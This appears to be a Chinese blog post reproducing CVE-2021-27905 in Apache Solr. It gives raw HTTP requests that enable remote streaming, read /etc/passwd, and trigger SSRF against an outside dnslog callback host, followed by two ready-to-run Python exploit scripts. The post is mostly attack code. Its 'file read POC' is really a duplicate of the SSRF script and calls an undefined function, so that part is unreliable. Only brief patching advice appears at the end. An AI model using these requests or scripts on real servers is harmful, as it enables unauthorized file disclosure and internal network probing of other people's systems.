发布于 

CVE-2021-27905(Solr<=8.8.1文件读取与SSRF)

1. 漏洞描述

用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。攻击者可以在未授权的情况下构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。

2. 影响版本

Apache Solr <= 8.8.1(全版本)

3. 漏洞复现

3.1 获取core信息

获取数据库名 :status.demo.name所以此处的数据库名是demo

1
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

image-20221021005752087

3.2 修改数据库配置,开启RemoteStreaming

Payload:

1
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

image-20221021010657043

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /solr/demo/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

3.3 读取任意文件

通过stream.url读取任意文件,访问http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams,将请求包修改为POST请求

1
2
# /solr/demo/debug/dump?param=ContentStreams
stream.url=file:///etc/passwd

image-20221021011231357

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

stream.url=file:///etc/passwd

3.4 任意文件读取POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
import urllib3
import json
import sys, getopt

urllib3.disable_warnings()
def commit():
url = ""
try:
opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=", "dnslog="])
for op, value in opt:
if op == "-h" or op == "--help":
print("""
[-] Apache Solr SSRF漏洞 (CVE-2021-27905)
[-] Options:
-h or --help : 方法说明
-u or --url : 站点URL地址
-d or --dnslog : DnsLog
""")
sys.exit(0)
elif op == "-u" or op == "--url=":
url = value
elif op == "-d" or op == "--dnslog=":
dnslog = value
else:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit()
return url, dnslog

except Exception as e:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit(0)


def target_core(url):
target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
core = list(json.loads(res.text)["status"])[0]
return core
except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ", e)


def ssrf(core, dnslog):
target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
status = json.loads(res.text)["status"]
if res.status_code == 200 and status == "OK":
print(f"[!] 33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
else:
print(f"[0] 目标系统: {url} 不存在SSRF漏洞")

except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ", e)


if __name__ == "__main__":
title()
url, dnslog = commit()
core = target_core(url)
ssrf(core, dnslog)

3.5 SSRF

漏洞位置/solr/demo/replication?command=fetchindex&masterUrl=(探测IP:端口)

1
2
3
4
5
6
7
8
9
GET /solr/demo/replication?command=fetchindex&masterUrl=http://qq4m6e.dnslog.cn HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

image-20221021012629250

image-20221021012650289

3.6 SSRF POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import urllib3
import json
import sys, getopt
urllib3.disable_warnings()


def title():
print("[-------------------------------------------------------------]")
print("[-------------- Apache Solr SSRF漏洞 ---------------]")
print("[-------- CVE-2021-27905 ----------]")
print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
print("[-------- Author:Henry4E36 ------------]")
print("[-------------------------------------------------------------]")

def commit():
url = ""
try:
opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
for op, value in opt:
if op == "-h" or op == "--help":
print("""
[-] Apache Solr SSRF漏洞 (CVE-2021-27905)
[-] Options:
-h or --help : 方法说明
-u or --url : 站点URL地址
-d or --dnslog : DnsLog
""")
sys.exit(0)
elif op == "-u" or op == "--url=":
url = value
elif op == "-d" or op == "--dnslog=":
dnslog = value
else:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit()
return url, dnslog

except Exception as e:
print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
sys.exit(0)

def target_core(url):
target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
core = list(json.loads(res.text)["status"])[0]
return core
except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ",e)

def ssrf(core,dnslog):
target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
}
try:
res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
status = json.loads(res.text)["status"]
if res.status_code == 200 and status == "OK":
print(f"[!] 33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
else:
print(f"[0] 目标系统: {url} 不存在SSRF漏洞")

except Exception as e:
print(f"[!] 目标系统: {url} 出现意外!n ", e)


if __name__ == "__main__":
title()
url ,dnslog = commit()
core = target_core(url)
ssrf(core,dnslog)

4. 漏洞分析

5. 修复建议

  1. 开启身份验证/授权,参考:https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html

  2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问

  3. 打上 https://issues.apache.org/jira/browse/SOLR-15217中的补丁